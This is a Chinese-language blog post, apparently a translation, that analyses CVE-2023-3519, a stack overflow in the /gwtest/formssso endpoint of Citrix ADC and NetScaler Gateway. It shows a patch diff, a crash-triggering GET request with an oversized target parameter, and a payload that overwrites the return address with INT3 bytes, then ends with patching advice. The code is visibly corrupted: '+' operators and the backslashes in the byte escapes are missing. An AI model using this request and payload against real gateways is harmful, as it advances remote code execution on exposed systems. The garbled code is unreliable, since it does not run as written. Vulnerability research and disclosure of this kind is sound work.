解析Citrix ADC和NetScaler Gateway中的CVE-2023-3519漏洞(第二部分)

2024-01-13 13:34:27 浏览数 (4)

“ 在我们的上一篇文章中,我们揭示了Citrix ADC和NetScaler Gateway中的一个漏洞,该漏洞在CVE-2023-3519的补丁修复程序中被发现。尽管这个漏洞也很严重,但看起来在现实场景的威胁行为中,并没有利用这个漏洞。 ”

我们继续进行分析,并发现了一个终端点,可以在不需要任何特殊配置(如启用SAML)的情况下进行远程代码执行。这个漏洞更符合CVE的描述、Citrix的警告以及其他公开的研究的描述。

通过继续对补丁差异的分析,我们发现ns_aaa_gwtest_get_event_and_target_name有一些变化,如下所示。

代码语言:javascript复制
// Unpatched Version

if (iVar3   1 == iVar7   -6) {
  iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
   pcVar8 = local_38;
   if (iVar3 == 0) {
     uVar9 = 0x16000c;
   } else {
     *(undefined *)(param_2   iVar3) = 0;
     uVar9 = 0;
   }
}

// Patched Version

if ((iVar3   1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
 iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
 pcVar7 = local_38;
 if (iVar3 == 0) {
    uVar9 = 0x16000c;
 } else {
    *(undefined *)(param_2   iVar3) = 0;
    uVar9 = 0;
 }
}

注意iVar3的附加检查,然后将其作为参数传递给ns_aaa_saml_url_decode。向后追踪调用图,我们发现易受攻击的函数在ns_aaa_gwtest_get_valid_fsso_server的开头被调用,该服务器位于路径/gwtest/formssso。 通过查看这个端点,我们能够确定它需要一个值为start或stop的事件查询参数。然后,该函数在不进行长度检查的情况下对目标查询参数进行URL解码。为了验证,我们构建了以下请求:

代码语言:javascript复制
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225

这导致了接下来的撞车事故。

经过一番尝试,我们成功将返回地址插入到堆栈中的某个位置,并在那里放置了一些INT3指令(0xcc)。我们使用的有效载荷如下所示:

代码语言:javascript复制
payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload  = b'xf0xc1xffxffxffx7fCCCCCCCCDDDDDDDDxccxccxccxcc'

我们再次在GDB遭遇崩溃。这一次是在我们的中断指令执行时停止的。

下一步是将其调整为能够运行任意命令,但这是另一篇博客文章的主题。 检测此漏洞非常具有挑战性,因为当在已修补和未修补的实例上发送非恶意有效负载时,此终端点的行为相似(返回500错误)。 尽管我们发现基于版本的检查(依赖于Last-Modified或哈希值和版本号)通常不太准确,但在撰写本文时,没有其他方法可以在不尝试利用该漏洞的情况下检测此漏洞。

我们建议各组织审查CISA的妥协指标,并根据Citrix咨询尽快修补Citrix ADC和NetScaler Gateway的实例。

0 人点赞